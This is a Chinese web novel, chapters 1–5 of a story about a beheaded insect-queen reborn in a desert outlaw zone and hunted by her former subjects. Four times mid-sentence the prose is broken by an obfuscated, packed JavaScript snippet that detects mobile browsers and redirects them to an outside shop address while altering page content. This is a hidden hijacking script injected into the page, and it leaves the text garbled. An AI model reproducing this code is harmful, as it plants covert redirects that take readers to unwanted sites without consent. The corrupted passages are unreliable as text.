《虫母死去的第一百年》 1. 第 1 章 星际3921纪年。 无数鎏金的支柱高耸,直插云霄。 自高达百米的大门起,辽阔大殿数百级金色的阶梯蜿蜒而上,直通那巍峨的巨大王座。 一只白手套占据屏幕中心。来者隐匿在阴影中,血液顺着指尖蜿蜒而下,滴答滴答…缓缓融入猩红地毯。 随即,一颗被切割整齐的头颅被放置于王座。 矗立的头颅面朝直播, 面目扭曲,头发散乱,空洞的眼眶看不清昔日的灵动、漂亮。 直播前,数不尽的声音一瞬间爆发。交织成狂热的呼喊,就像是一首此起彼伏的狂欢曲。 上千亿围观群众的欢呼如浪潮般沸腾! 混沌杂乱的庞大信息量猛地炸响识海! 铁链碰撞发出一声清脆轻响。 灰扑扑的残破遮帘晃动,忽然被仓皇地扯开一条缝隙。 日轮金红,一望无际的荒漠。持续攀升的炙热温度仿佛燃烧跳动的火焰,卷起一层层热浪,扭曲模糊了整个地平线。 旧时代遗弃、早已停产的一辆辆手动运货车在荒漠中颠簸前行,轮子在辽阔的沙海中留下深浅不一的印记。 沙尘拂过脸庞,也抚平了剧烈跳动的心脏。 不是做梦,她还活着! “嘿,你这混蛋小子,吓我一跳!” 宁诺的目光微抬,一记鞭影已甩到她面前,她条件反射缩回双手。 鞭子狠狠抽在铁笼上,发出一声沉闷的撞击。 有牢固的栏杆挡住,这一鞭落空。 “还敢躲!”那家伙气急,宁诺听到对方叮叮当当地摸索着什么,似乎在掏钥匙,伴随而来的还有更难以入目的咒骂。 她想,好多‘货物’。 这些也是和她一样,是被抓来的吗? “好了,消停。”另一道声音传来,“你在搞什么?难不成还想进去揍他,这样货物就不值钱了。” 遮帘前的身影微顿,不甘地“呸”一声,最后不情愿地坐回了原位。 “等回到幻城,这个一定得卖个好价钱,老子用卖他的钱请雌性喝一杯。” 他们聊起天: “你说这瘦弱不堪的?哈,我感觉悬。” “长得又丑还营养不良的雄性虫族,你以为能卖多少?估计只能卖个苦力活奴隶。” “这种最不值钱,那些有钱大老爷又不傻,最多只能卖个10星币。” “不行我就不卖了,打他个半死。” “你也太残忍了吧。”另一同伙笑了。“雌性最讨厌你这类家伙了。” “你瞎啰嗦什么呢?!玛琪上一次说我威武雄壮的本体最惹她喜欢,她下次还想和我约会!” “好好好,我不说。” 静静听着逐渐走远的对话,宁诺耷拉着眼皮。 直至再也听不到,她缓缓垂首。 手铐连接着地板,长度只够她在这狭小的铁笼中活动。目之所及摆放两个碗,碗早已空了将近两日。 宁诺捻起笼子边缘覆盖的一层沙尘,用涂抹的方式擦遍整张脸,确保补好失去的部位,不会暴露真容才停下手。 她开始思考,根据刚刚所得的信息。 在她重生前,被虫族统治的星球范围内,有许多名叫幻城的城池。 然而在她记忆中,只有那么一个幻城,星球治安才如此堪忧。 暗星。 专属法外狂徒非法行事、游离在星际联邦的管辖之外的暗黑地带。 如果她重生的位置真是在这…那宁诺现在可真是喜忧参半,喜的是这地挺偏僻且落后,她在这破壳的能量波动被高等虫族察觉的概率很小。 她还有存活的概率。 毕竟她还没搞清现状,才刚苏醒不久就被抓了。 忧的是如果她不是很巧,在新虫母前脚刚登基,释放精神网链覆盖整个领地号召新王时,如果正好扫到这里,她估计会立即被发现,再次被扭下头颅—— 或者,忌惮于她‘重生’的能力,将她关在研究院解刨研究。 毕竟她运气一向不好。 至于其他的,她不是很担心。 因为她马上就要迎来孵化后的第一次蜕变。 曾经,她没有经历蜕变之苦。 蜕变会有机率夭折,分裂千年已久的虫族承受不住再次失去虫母的打击,而她那时可笑的,也怕疼、怕死。 他们通过研究院的药物抑制,缓解,度过。 但很显然,宁诺那时意识不到冥冥之中,上帝把一切都标好了价格。这世界永远都没有捷径可走,通过投机取巧得到的蜕变,注定是残缺不全的。 之后的十几年,她空有虫母庞大的精神体系,能与上亿虫族意念交流。却没有本该健康、强大,属于食物链顶端的躯体… 底下突然剧烈晃动,又很快恢复平静。 宁诺抬眸,牢笼被掀开,链条被粗鲁地一扯。“废物们,出来吃饭了。” 夕阳落日暗红,沙漠尘土纷飞。 这是被关押的货物们连续饿了两日后的第一次进食,与之前赶路时敷衍了事不一般,他们这次不是在牢笼里被撒上几份猪食做做样子。 货物们相继扑上大锅,狼吞虎咽。 这些守卫并不担心货物暴动逃离。 他们身上的可不是普通的锁链,由洛克集团研发的“控制链”能够在任何试图挣脱的瞬间,释放出强烈的电流,足以让人瞬间瘫痪。 守卫的视线从不远驻扎的帐篷掠过。首领正在和一一位贵人会面,据说是虫族的高等血脉。 那边的贵族出手都很阔气。 守卫看向那些即便被售卖的商品,“好好享受这顿晚餐吧,等会要是…可就看你们好好表现了。” 宁诺也感知到了。 刚孵化的新生即便是金字塔顶端的猎食者,在未成年之前,力量上依旧存在着无法弥补的差距。 宁诺告诉自己冷静。 她收敛了气息伪装成普通雄虫,不会被发现的。 帐篷内。 男性人类形态的虫族黑发紫瞳,俊美妖异。身着紧身上衣,隐约露出精瘦的腰腹线条。 长腿慵懒地交叠,腰间的皮质腰带松散系着,窄腿裤紧贴着笔直的双腿。 像带刺的蔷薇,妖冶而危险。 坐在其对面的首领笑容满面,神色恭敬,乐呵呵地说道: “不就是艾尔晶石吗?听说这是专属你们虫族的精神安抚剂?您放心,既然这次您已经感知到了它的出世,我一定给您找到。 在暗星,我也有些门路,认识一些数一数二的情报商。您救过我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373226|200034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一命,这次我无论如何也要替您办成。” 闻听对方来此的缘由,首领满口答应。 塔维什手撑下颚侧脸,眼底一颗泪痣若隐若现,“不需要找到,我只需要情报。” “是是是。”首领忙不迭地点头,表情谄媚,“交给我您放心!” 首领还想说什么,塔维什却已起身,除了艾尔晶石,他没兴趣了解其他事,要走了。 然而这时,心头奇异地仿佛被一根无形的弦挑起,塔维什身形一顿。 首领没有注意到塔维什的异样,还在自顾自地说着:“不过我还以为你们虫族不再需要艾尔晶石了呢,一百年前艾尔晶石甚至贬值到分文不值,这些年居然又炒起来了。” “我虽然不是虫族,但你们的排外是众人皆知的,不是族内的雌性均不接触——但这也不是办法呀。精神力如果得不到纾解,那可是会疯的,总不可能……”他顿了顿,声音稍微压低了一些,“只靠你们的虫母陛下吧。” 这番话打断了刚捕捉到的一丝异样,之后就再感知不到。 塔维什皱皱眉,“你懂什么?王的精神力体积庞大,足以笼罩整个虫族。” 首领嘴上连忙应是,可心里没信半分。 废话,要真能安抚整个虫族,那艾尔晶石怎么又成了热销品?面前的不就是最好的证据吗? “只不过…啧,”塔维什的面色骤然扭曲阴沉下来,仿佛想起了什么令他咬牙切齿的事。“一个可笑的骗子…” 阴森恐怖的气息刹那弥漫开来,裹挟着隐藏深处的暴戾与杀意。无形的压迫感犹如千斤巨石般瞬间降临。 首领不过是个普通种族中还算强壮的个体,顿时承受不住跪趴在地。 他瞧见塔维什眼中闪过森冷的杀意,一副恨不得将那人亲手撕裂,生啖其血肉的模样,顿时抖抖簌簌。 怎么就突然就生气了。 该死,他突然想到,怎么就忘了这是一个急需精神安抚的雄性! 自己居然还给人家添堵!! 下一刻,威压如潮退去。 塔维什低头看向终端,单手抄着口袋,神情已恢复平静。 “有消息联系我,报酬不会少你。”高大挺拔的身影丢下一句话,揭开帐篷离去。 首领瘫坐在地,后背被冷汗浸湿。 他爹的,虫族记仇报复心极强,诚不欺我。 想起对方给出的日期限制,他呲着牙赶忙呼唤手下速速赶路。 首领拿起手下小心递来的手帕,边擦着冷汗边想,所以到底谁敢骗这个种族啊?! 尤其还是高等贵族! 宁诺被重新塞回铁笼时没有反抗,顺从的态度免去了不必要的麻烦。守卫把怒火发泄在那些试图趁机反抗的货物身上。 这里没什么规矩可言,她被随便换到了靠近车头的前排关押位置。 这次的位置还算不错。透过铁栏的缝隙,在这个角度的夕阳余辉下,她隐约了望见翻越沙丘后那巍峨的城池。 很近,恐怕再过一天就到了。 就在宁诺静静欣赏落日时,一缕乌黑的发丝闯入她的余光,修长高挺的身影从她面前快步走过。 直到不见踪影,宁诺依旧保持静默的姿态。 只是僵硬的肩膀微微放下。 安全了。 2. 第 2 章 直至深夜时分,那道身影依旧没有要回来的迹象。 宁诺吐出一口气。 三日了,自她破壳以来已经过去这么久,按常理,即便是在这三无区域的幻城,新上任的虫母派来杀她的下属也该到了。 既然没来,那就说明… 宁诺头一次有种倒霉了半辈子终于走大运的念头。 但也说不准,宁诺伸手抚平遮帘,确保最后一缕光线彻底消逝于黑暗之中。 她静静适应着这种伸手不见五指的未知状态。 或许是人家发现了,但认为她不足为惧,毕竟,当初王城到处皆是她的臣属,最后不还是被取了项上人…虫头。 那是想看她怎么蹦哒,还是纯粹想看她的笑话? 或者两者皆有? 算了,不重要。 没有证据前,都是她单方面的臆想,徒增压力。 何况,既然目前安然无恙,这些不是她就该考虑的。 现在最重要的是…刚好趁着夜深人静。 宁诺缓缓呼气,忐忑的心脏跳动极快。 ——! 宁诺猛然被脊背的刺痛拉回现实,那难以忍受的炽热感从背部延伸至脖颈,再蔓延到四肢,仿佛整个身体都被按在滚烫的炉印上。 炽烈如刑,撕扯着她每一寸感知。 宁诺咬紧嘴唇,双手紧抱双膝,没有泄露一丝余音。 她知道,蜕变开始了。 这是她第一次经历蜕变。她知道会很痛,或许会死,但似乎还是低估它的威力。 好痛。 像是被浑身打断了骨头。 每一寸毛孔仿佛都在断裂、重组,像被残忍地拆解又拼装。 额头逐渐被汗水浸湿,湿滑的液体沿着她的脸颊滚落,滑进眼睛。刚刚适应黑暗的视野再次模糊,刺痛和汗水的咸涩混在一起。 宁诺努力控制身躯不要颤抖,双手也湿透了,分不清流淌的是血还是汗。 意识逐渐模糊,宁诺的脑海也不自主浮现一些走马灯的片段。 ——上一次她死得利索,没机会的体验。 有那么一刻,她以为自己回到了那柔软舒适的超大温床。泡着泡泡浴读着当日海报。 她坐上王座,底下宫殿金碧辉煌,有谁在劝她多适当运动,想道自己跑几步吐血的体质,为免不必要的担心,她假装嫌烦招开了。 又有那么一刻,她好像回到自己现代蜗居的小房间,虽然没有王宫奢华,但也充满了温馨,暖色台灯的光芒洒得人也懒洋洋的。 她半睡半醒地在记着笔记,门外响起敲门声,是妈妈看她学习太辛苦,给她送来牛奶… 宁诺颤着伸直四肢,缓解过于紧绷的肌肉。 宁诺不愿回忆上上辈子的事,她被取下虫头时也不合时宜地想过她是否会回去,但她只是重生了。 她只能试着想些其他事转移剧痛。 她忽然恍惚地想到,在她看到的历代虫母史记中,除了第一代虫母创造了整个虫族种群外,其余的每一代虫母都在诞生的第一时间被发现并带回主城,从未有一位遗失在外。 她当时还不明白,在辽阔无垠的宇宙中,虫族究竟是如何如此迅速地找到虫母的,直到她终于忍不住发问。 他们是这么告知她的:“因为您的精神力独一无二,您在诞生时还未学会掌控精神力,只要一个念头,精神网链便会将您的意志传递给我们。 因此,无论您身处何地,只要您的精神网链依然为我们敞开,我们都能在第一时间找到您。” 她破壳后,就立马给精神网链上了层层枷锁。 所以,她应该也是第一代虫母之外,首个胆敢在没有守护下独自完成蜕变的虫母。 …或许还是首个死后无人认领、被丢在野外的虫母。 宁诺被自己的地狱笑话逗笑了,她无声地勾起唇,但却难以动弹分毫。 她的躯体虚弱到连胸膛的起伏都变得轻微,像是随时可能塌陷。 她已经到极限了。 宁诺自知。 或许是因为早已经历过一次生死,她没有太强烈的恐惧或不甘,只是感到一种难以言喻的失落与怅然。 “……” ——但她真的,不想死啊。 好不容易捡回一条命,她拥有了一具健康的躯体,能走好几步了。 她已经好久没有试过奔跑了。 宁诺咬紧后牙槽。 她明明,明明还有很多事想要做啊!!! 难道就这样向命运屈服了吗?! 分明,只差一点—— 一股从深处涌起的愤怒瞬间化为强烈的求生欲,化作为比烈药还要凶猛的动力,宁诺已经神志不清,却依然不懈坚持。 原本难以撼动的径口骤然松动!!! “咔嚓…”一刹那,身体所有痛觉一扫而空,取而代之的是一种从未体验过的轻盈! 少女在黑暗中掀起眼皮,无形的微风拂起凌乱的散发。 面容如玉,眉目传神。 神性般的金光自瞳孔眼底一划。 暗星早晚的气候是两个极端,飓风呼啸肆虐,卷起沙漠中的每一寸生命,寒冷的气息像一场无声的警告。 在大自然面前,坚固的货运车摇晃的嗡嗡作响。 这掩盖了一些小声音。 宁诺摸着爬上手指的拇指大小的腐蚀虫,这是这片沙漠独有的生物,依靠沙漠底下的矿石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373227|200034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物质为食。 而不巧,他们的牢笼包括拷链也是由相同物质制造的。 感知着周围源源不断接近的精神体,宁诺整理了下身上乱了的披风。 这些虫虽是虫族最低级的无意识生命体,但它们却是虫母最忠诚的战士,为她冲锋陷阵奉上一切荣耀。 铁链包括牢笼的门扣一刹被啃噬殆尽。 黑暗中,一双眼睛亮的惊人。 她无声吐出两个字:“来吧。” 打破死寂夜晚的是一声尖锐的惨叫。 惨叫声随之被各种尖叫和慌乱的叫喊所淹没,守卫之间急促的脚步和打斗声顿时充斥整个黑夜,像是沙暴骤然袭击了平静的营地。 睡梦中的守卫们被猛地惊醒,看到眼前刀光剑影的一幕大惊失色。 “怎么回事?!” “那群货物都从铁笼子里逃出来了!!” 随着越来越多的“货物”从铁笼中逃脱、惊醒,场面变得更加混乱。 由于首领提前带着大部分守卫前往幻城,营地的守卫数量严重不足。这些逃出的货物见同伴越来越多,顿时放弃逃跑,转而在现场发起报复。 战况很快倾斜。 谁也没注意到前排牢笼一个小巧身影悄然离去。 “喀嚓。” 火光摇曳,斜下的修长影子隐隐约约地映在地上。 跑出几步的宁诺戛然而止,对上那张半陷阴影,烟雾中氤氲不清的妖异面孔。 紫色瞳眸如同上好的紫宝石,在月光下蒙上了一层淡淡的阴霾,倒映出此刻宁诺狼狈肮脏的模样。 几米远的距离,他审视的目光打在宁诺身上。 “逃出来的货物?” 宁诺悄然松开了紧握的手心。 他没认出来。 听到来的家伙这么说,宁诺毫不迟疑地走过他身边。 以她对高等虫族的认知,这群虫子对除“虫母”以外的事从不关心。 就连对同类,也冷血至极。 要不然那时相遇即便宁诺收敛气息,对方依旧能感知到身为雄虫的她。 在他们眼里,能被绑架的是废物没必要救;相反,能靠自己逃出来,算你有本事,他们也不会多管。 果然,她走出好远。 再回头时,沙漠里已没影了。 奇异的心跳又来了。塔维什伫立在沙坡自上而下眺望,一整晚未睡的烦躁被抚平。 任由沙风拍打,风衣在空中摇曳翻飞。 就是这片沙漠。 “那就让我看看,”塔维什唇边烟雾缠绕,尖锐而坚硬的蝎状大尾悄然升起,冷光一闪而过。 那大尾猛然往沙土中一甩,“这底下有什么。” 3. 第 3 章 “轰隆——” 巨大的力量直击沙海,层层沙浪如滔天大海般汹涌而起,铺天盖地地向四周席卷,掀起了一场浩大的沙海风暴。 跑出不远的宁诺侧目,遥遥望见惊心动魄的一幕。 浓浓沙土飞扬的中心,一栋高楼般庞大的轮廓若隐若现,犹如一头狰狞的钢铁巨兽缓缓苏醒。 两道渗人的寒光在黑夜中闪烁。 夜毒巨蝎。 高等虫族中体型巨大的战斗型种类,以蝎尾上的致命剧毒闻名,即便在强者如云的虫族中,也从不落下风。 宁诺早在见到塔维什那刻就看出来了。 虫族种类繁多,她不可能全都真正见一面,但她至少看过图鉴百科。 所以这家伙,大晚上的—— 跑来这片鸟不拉屎的沙漠变出本体到底是什么目的?! 用沙子洗澡吗? 眨眼间,滔天沙浪朝她扑来, 宁诺猛地加快速度,拼命狂奔。 但那掀起的波动还是太大,并且持续着,宁诺不过才刚经历蜕变,又不能变回虫母本体,双腿再快也比不过沙浪。 即便有腐蚀虫的保护,庞大的虫群在沙浪袭来的那一刻迅速聚集,形成一道防护罩,宁诺还是狼狈地呛了一嘴的沙。 “咳、咳咳…” 没有。 什么也没有。 塔维什垂眸。 静了半响,他恢复原型,转身沿着原路返回,仿佛什么也未曾发生。 身后,那掀起巨大波动的沙坑仍在不停下沉,与塔维什无波的神色形成了强烈的反差。 他到底在焦虑什么? 走到半途,塔维什有些茫然于今晚的反常。 指尖缓缓抚上胸口。 死寂般的心脏仿佛还残留着不久前心悸的余韵。 这是他从未有过的体验。 他是虫族。 虫族是星际中还保留着上古传承的顶级族群之一。 几乎众所周知的是,虫族是冷血生物。这不仅体现在他们的体温上,更在于他们冷漠无情的本性。 虫族一生的所有,都为虫母而生。 即便是心跳。 ——但这都是他道听途说的。在很早之前他没有资格觐见陛下,等到后来有资格了,却… 啧,他是病了吗? 除此之外,还有什么能令他夜不能寐? 愈发烦躁的情绪导致精神识海紊乱,几乎要失控暴走。塔维什皱皱眉,却早已习以为常。 身影以肉眼难见的速度穿梭于沙漠间。 下一刻,塔维什的步伐一顿。 刚从沙堆里艰难爬出来的宁诺抬起头,目光猝不及防地和塔维什相撞,低垂的紫眸幽暗不明。 宁诺:“……” 宁诺希望他像刚刚那样麻溜的赶紧走。 塔维什却诡异地冷不丁开口:“你还没走?” 听到这话,宁诺很想老实地告诉他是对自己闹出多大的动静没点13数吗?! 但宁诺忍住了。 忍一时风平浪静,以她如今的实力,想暴打高等虫族还比较异想天开。 但迟早有一天… 宁诺低下头,短促地应了一声,随即毫不迟疑地继续赶路。 刚一抬腿—— 斗篷后领骤然被提了起来。 “?!” “把这小鬼洗干净。” 酒店里,塔维什丢下一句话就潇洒地不见踪影。 宁诺猛地抬头,一瞬间被一群人团团包围。 - 幻城最高层的繁华建筑中,花园灯火通明。 偌大的花园却静得落针可闻,缭乱盛开的鲜花中央有一座庭院,与高科技的星际背景格格不入,是一处古老而典雅的复古式建筑。 银白如月光般圣洁的长发散落至腰间,一名高等虫族随意端坐其中。 修长的手指翻阅着一本纸质书籍,暴露在外的肌肤白得近乎无血色,宛如一具完美的雕像。 细长的睫毛轻颤。 没有回头,他淡淡地开口:“塔维什,你去做什么了。” 下一秒,对面的座位上悄然出现一道身影,随意地交叠着双腿。 “无聊,随便走走而已。” 翻阅书页的手指微顿。 直面那凝视而来,如蟒蛇吐信子般阴湿的深灰色眸光,塔维什不紧不慢地随手脱下风衣,露出紧身衣的流线身形。 随后,不以为意地问: “你找我有事?埃利亚斯。” “能量波动是在这颗星球上产生的,其他族裔很快也会赶到暗星。”埃利亚斯的眸色微深,暗含警告。“不要额外添事。” 塔维什一怔,随即反应过来:“你说我那带回来的小鬼?” “那家伙也就有些小机灵而已,不会对我们的行动有什么影响。”塔维什顿了顿。“我看他是高等血脉,就顺手带回来了。” 说实话,塔维什当时也挺诧异的。这只新生雄虫能差遣低等虫族,分明是高等血脉,怎么沦落到被那些低等族抓住当货物的下场。 高等血脉对陛下的…族群总归有用,他没多想,就了捞回来。 不过,那小子…… 着实瘦得有点吓人了。 塔维什暗想。 厚重的书籍落置桌面,发出沉闷的声音。 埃利亚斯不置可否,慢条斯理地用手帕擦拭着双手,动作一如既往地优雅从容。 他换了个话题。“我刚交易了一批艾尔晶石。” “哦。”塔维什知道对方察觉到他的精神力暴动,无所谓地站起来。“那去看看吧。” 他们乘坐电梯。 这座酒店禁止使用特殊能力,虽然对他们来说这条规矩几乎形同虚设,但偶尔也不介意虚伪地配合几次。 塔维什也不是特别急,双手随意插在衣兜里,等待着电梯的下降。 电梯镜子中的倒影风格各异,但无一例外地高大俊美,神情同样的淡漠,像是一比一复刻的模型。 塔维什百无聊赖移开眼。 随即,饶有兴致地说:“你觉得,编号0132现在会躲在哪苟延残喘?” “不清楚,她不足为惧,”埃利亚斯:“但她身上携带的特殊东西…已被研究院证实不属于我们的位面宇宙。 这东西诡计很多,虽然经过多次死亡能量已经消耗得差不多,但难保还有什么保留,我们依然要保持警惕。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373228|200034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用你说我也清楚。” 塔维什面上浮现一丝冷意,“她逃不掉的,那拙劣的能力已经对我们不起作用了。” 埃利亚斯没回话。 埃利亚斯垂下眼,面露思索,“你这次带回来的是雄虫?” “你怀疑他?”塔维什几乎不假思索地矢口否认。 他噗嗤地笑出声,“你知道我是在哪捡的这家伙吗?” “那笼子小得像个狗笼,压根没法伸展身子,又脏又臭。”塔维什双手插在口袋里,目光漫不经心。 “早在发现他是雄虫之前,我就问过塔尔为族的商贩,这小子被抓了几天。你猜多少?” “三天。你也知道那些商贩可不是什么好东西,打骂虐待是常态。 这家伙估计饿了整整三天,等到我来的那天才有机会吃上点东西,恢复点精神力,差使那些低级的腐蚀虫帮他逃跑,快把自己饿死的家伙你也怀疑?” 他边说边走出电梯,似觉得很有意思地调侃道: “我估计0132要是弱成这样,也不用我们出手,她身上那东西都能了结了她。” 塔维什:“比起这个,不如想想——如果这次围剿成功,下个月就是陛下的…”祭日。 “塔维什。”埃利亚斯突然打断了他。 “你想死吗?” 紫瞳略暗,塔维什唇角一勾,“埃利亚斯……” 话音未落,他的眼神霎那变得凌厉,猛地朝一个方向瞥去。 “滚出来。” 一个身披斗篷的矮小影子从拐弯的角落缓缓走了出来,宽大的帽檐将大半张脸遮住,披头散发的看不清面容。 但虫族大多依靠同类气息和精神力互相感知,塔维什一眼便认出这正是他带回来的小子。 他朝埃利亚斯看去,对方淡淡扫了一眼就移开视线。 确定没问题了吧。 居然怀疑他的直觉,好歹自己也参与了十几次的围剿。 塔维什心中冷哼,扭回视线。“你怎么在这?” “我想走的时候…”对方声线沙哑得似砂纸磨过的,刚一开口,塔维什心中就有些不得劲。 他下意识皱皱眉,听着那慢吞吞声音继续说道:“他们让我先来找你。” 病恹恹的,走什么走。 怕是在暗星过一天就又被拐了… 塔维什心底腹诽,表面淡漠如常。“先别走。”他随手甩给对方一张房卡,“先养几天。” 走廊明亮如昼。 目送塔维什和埃利亚斯的背影,直至完全消失在视野。 宁诺低下头。 房卡号1129。 “咔吱,”房门被推开一条细缝,随即重归黑暗。 宁诺手指无意识地旋转着房卡,目光放空,反复回想刚才听到的片段。 虽然零碎模糊,但传递的信息已足够。 弱,了结。 围剿、死…… 还有那一声陛下。 答案显而易见。 意料之外的,在真正得知自己目前处境后,宁诺竟然没有任何的情绪。 她坦然接受了。 感叹自己果然没有走大运的福气。 ‘她’果然在派族裔找她。 4. 第 4 章 一前一后的身影在走廊中径直穿行。 塔维什走在路上,脑海里不知不觉浮现走时那族裔单薄的身影,略微走神。 直到被一声呼唤拉回现实,他扯了下唇角,似不耐今日埃利亚斯的过于多话。“又怎么了?” 埃利亚斯的声音很淡,“你和他刚认识?” 塔维什觉得这话问得有些莫名其妙:“我不是跟你说过了吗?是在商贩那里找到的。” 埃利亚斯应了一声,随即说:“既然你把他留下,那就安顿好。如果那名雄虫坏了事,我会亲手杀了他。” 话毕,他伸手揭开通道的门帘。 极致白皙的肌肤在深色布料的映衬下,愈发苍白病态。 塔维什一怔。 埃利亚斯背对着他:“有问题?” 这确实没有问题,实际上,埃利亚斯的话比他预想中的要宽容许多。平日里这家伙向来宁可错杀三千,不可放走一人。 照他现在的态度,甚至可以说算得上温和了。 塔维什顿了顿,“没有。” 他边低声补充,边与之擦过肩。“要是那小子碍事,不用你出手,我自己来。” - 还不知道自己刚刚在生死边缘来回蹦跶了几圈的宁诺,背靠着房门。 她在思考。 要是没碰巧遇上那两个族裔,她原本打算趁机立刻离开的。 当时那名高等虫族也不知道发什么疯,原本不闻不问的突然暴起,将她带到这里。 宁诺当时也吓一跳,她还以为那家伙要揍她,结果却是救了“他”。 说实话,这不符合虫族一贯习性。 看来他们并没有发现自己的身份,要不然她早就再一次祭天了,哪能还给她一张房卡。 只是眼下,离开的打算恐怕行不通了。 他们正在找的她。 比起‘离去’,宁诺觉得现在的自己还是留下更不显眼。不然一不谨慎,就是打草惊蛇。 何况…… 她已经经历完第一次蜕变,这让她有暂时不被发现的信心。 宁诺的视线微抬,经过蜕变后,她的五感被大大增强,原本就不受黑暗影响的视力此时愈加敏锐。 她清晰地看到,对面落地镜里陌生的倒影。 乍一看,只是一个过于消瘦、长相艳丽柔美的少年。 虫母蜕变进阶的能力之一。 形态改变,包括本体、人类形态的变化。 在蜕变之前,宁诺或许只能勉强隐藏气息,但如今的她,已然具备了顶级掠食者的雏形。 虫母之所以是众虫之王,长久以来一直占据宇宙中存活悠长的族群的首领之位,绝不单单是她具备连接全族的精神力。 更是因为她理应是最强的。 她是众虫之母,拥有每一只虫族应有的天赋与能力——她可以随心所欲地变幻为任何一个族裔的形态,乃至其独有的特征。 到后期,甚至不再需要形态变化就拥有一族之能,她的本体就是众生最恐惧的存在。 宁诺不知道‘她’蜕变到哪个地步了。 虫母也有强弱之分,否则她当初也不会是被放弃的那一个。 但应该不是最终阶段,否则根本不需要派族裔来寻找,‘她’只需精神力一扫,便能轻易碾死她这个蝼蚁。 宁诺叹了一口气。 果然该来的还是会来的。原本她还在为那三天没被找上门,不用与之对上而窃喜呢。 毕竟说到底,她对虫族谈不上恨。 当初,宁诺穿越以来,说受过多少苦。 倒也没有。 最初,宁诺破壳在一颗荒芜星。 那里荒野无人,环境残酷而恶劣。但那里的低等虫族会为她带来柔软的棉花、新鲜的果实、好看的衣服。 它们会为她搭建舒适的巢穴,无论是寒冷的午夜,还是炎热的白昼,抑或是那些严酷的自然灾害,都不是她需要操心的。 后来,她被赶来的高等虫族接走。 在那个虫族分裂千年已久的纪年,她还没了解任何基础常识,连虫母是什么都不明白,就被赶鸭子上架推上了王位。 等终于明白过来,事情早已不由她掌控。 宁诺背负起统一种族的责任。 她匆忙度过了第一次蜕变期,留下后遗症,没等她修复,分裂已久的虫族内部战火就爆发了。 为了阻止灾难扩散,她必须完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373229|200034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全掌控精神体系,连接所有虫族的精神意识。她不得不再次,以不正常的方式完成第二次蜕变。 最终,她成功平息了战火,但也终生留下后遗症——日益强大的精神力摧毁了原本有机会修复的躯体。 除此之外,宁诺的后半生并没有多少磨难。 身为虫母,她被保护得很好,甚至可以说,拥有了她所需的一切。 即便是在生命的最后几天。 当她狼狈地躲避曾经最亲密下属的背叛,几天的追杀令她筋疲力尽,最终被砍下头颅时,她也没感受到多大的痛苦。 所以,或许是因为曾真实地感受到过族群的关爱、呵护与忠诚,陪伴她走过穿越初期那段兵荒马乱的低谷; 又或许是几十年日复一日的相伴共处也不能作假; 再或者是想到,如果没有族群,或许她早在穿越的第一天就已葬身荒野。 自重生以来,宁诺并不渴望报复,她只是不想再与虫族有任何牵扯。 她清楚的明白,族群之所以放弃她,是因为一个时代从未有过两位虫母的先例。 而成王败寇,蜕变失败的她,恰好成了那个不幸的牺牲者罢了。 所以她又是为何重生? 但如论如何,宁诺不想再死一次了。 就算活下来的机率渺茫—— 一山不容二虎,即便没有争权夺位的心思,对方也绝不会允许一个潜在的威胁存活。而面对一个正处于强盛时期的虫母,她根本插翅难飞。 宁诺依旧想试一试。 宁诺从背靠的房门站起,她已经想清楚了。 既然是围剿行动,那绝不是单单两个虫族的数量。她如今不过经历第一次蜕变,还在虚弱期,更要趁机多加休息。 然后再想办法先收集情报。 宁诺走出几步的动作一顿。 她垂下眼。 刀刃的反光在黑暗中异常醒目,冰冷的尖端轻抵下颚,带起几丝刺骨的寒意。 “嗯……?” 近在咫尺的温热气息喷洒在宁诺的脸颊。 像是察觉到体型不对,低沉沙哑的嗓音里透着几分困惑,还掺杂着未散的倦意。 “我走错房了?” 5. 第 5 章 自重生起,宁诺的神经便始终绷紧。 若非如此,她也无法在第一时间察觉那近乎于零的能量波动。 她勉强避开第一击。然而,第二道光影迅速逼近,速度之快,即便是刚刚蜕变的她,也只能看作一道残影。 